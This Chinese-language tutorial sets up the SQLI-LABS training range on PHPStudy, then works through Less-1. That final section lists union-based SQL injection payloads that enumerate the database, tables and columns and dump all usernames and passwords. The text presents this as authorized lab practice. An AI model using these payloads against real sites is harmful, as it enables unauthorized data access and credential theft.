注意:文中涉及演示均为模拟测试,切勿用于真实环境,任何未授权测试都是违法行为!
一、环境准备
- 下载PHPStudy
官网下载地址:https://www.xp.cn/php-study(选择Windows版)
安装时建议选择自定义路径 (如 D:\phpstudy_pro
),避免系统盘权限问题
- 下载SQLI-LABS源码
从GitHub获取源码包:https://github.com/Audi-1/sqli-labs
下载完成后解压,将文件夹重命名为sqli-labs
(避免中文路径)。
二、PHPStudy配置
- 启动基础服务
打开PHPStudy,启动Apache 和MySQL 服务(图2:服务启动界面)。
若MySQL启动失败,检查端口是否被占用(默认3306)。
- 切换PHP版本
点击左侧菜单【网站】→ 选择【管理】→【PHP版本】→更多→ 安装PHP5.5.9 (SQLI-LABS不支持PHP7+)。
切换后需重启Apache服务(图3:PHP版本切换界面)。
三、部署SQLI-LABS靶场
-
放置源码文件
将
sqlilabs
文件夹复制到PHPStudy的网站根目录(默认路径:D:\phpstudy_pro\WWW
)。 -
配置数据库连接
打开文件
sqlilabs/sql-connections/db-creds.inc
,修改以下参数:php$dbuser = 'root'; // 数据库用户名(默认) $dbpass = 'root'; // 数据库密码(若未修改则为空)

四、初始化靶场数据库
- 访问靶场页面
浏览器输入http://localhost/sqli-labs/
,进入SQLI-LABS首页。
点击页面中的Setup/reset Database for labs 链接
- 验证初始化结果
若显示Congratulations! Database is connected...
,表示数据库创建成功。
若报错mysql_connect() undefined
,需检查PHP版本是否为5.x 。
五、开始注入练习
- 选择关卡
返回首页点击Less-1 (基础注入关卡),通过URL参数?id=1
测试注入点。
示例Payload:?id=1' and 1=2 union select 1,2,3 --+
查看显示位
?id=1' and 1=2 union select 1,2,database()--+
显示出数据库名
?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查看数据库的所有表
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
查看users表中的字段
?id=1' and 1=2 union select 1,2,group_concat(username,0x7e,password) from security.users --+
查看全部用户名和密码
还可以下载phpmyadmin管理数据库
- 常见问题排查
数据库连接失败 :检查db-creds.inc
密码是否与PHPStudy的MySQL一致。
页面无法访问 :确认sqlilabs
文件夹是否位于WWW
目录,且Apache端口未被占用。